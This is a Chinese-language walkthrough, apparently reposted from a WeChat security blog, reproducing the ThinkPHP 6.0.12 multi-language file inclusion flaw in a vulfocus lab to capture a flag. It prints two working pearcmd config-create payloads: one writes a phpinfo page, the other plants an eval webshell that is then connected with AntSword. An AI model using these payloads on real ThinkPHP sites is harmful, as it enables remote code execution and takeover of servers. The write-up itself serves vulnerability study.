描述
ThinkPHP是一个再中国使用比较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意php文件。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。
漏洞原理
当ThinkPHP的多语言功能开启时,如果未对用户输入的语言参数进行严格过滤,攻击者可以利用lang参数进行目录穿越,包含服务器上的任意文件2。在某些环境下,如开启了register_argc_argv且安装了pear扩展,攻击者甚至可以包含/usr/local/lib/php/pearcmd.php文件,从而执行任意代码
漏洞影响范围
环境名为:
vulfocus/thinkphp:6.0.12
想复现的小伙伴可以使用docker拉取镜像
docker pull vulfocus/thinkphp:6.0.12
开启靶场环境,我们从描述中可以得知访问路径为/public/index.php
进入到靶场环境
可以看到thinkphp版本为6.0.12 存在本地文件包含漏洞
我们本地抓包构造payload
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
成功后访问shell.php文件 可以看到phpinfo
在其中搜索flag就可以通关了
使用蚁剑连接:
重新构造payload
?lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/eval($_REQUEST['chixi']); +/var/www/html/shell.php =@
使用蚁剑连接
在根目录下的tmp中就可以找到flag了
至此ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现完成
原文始发于微信公众号(炽汐安全屋):ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论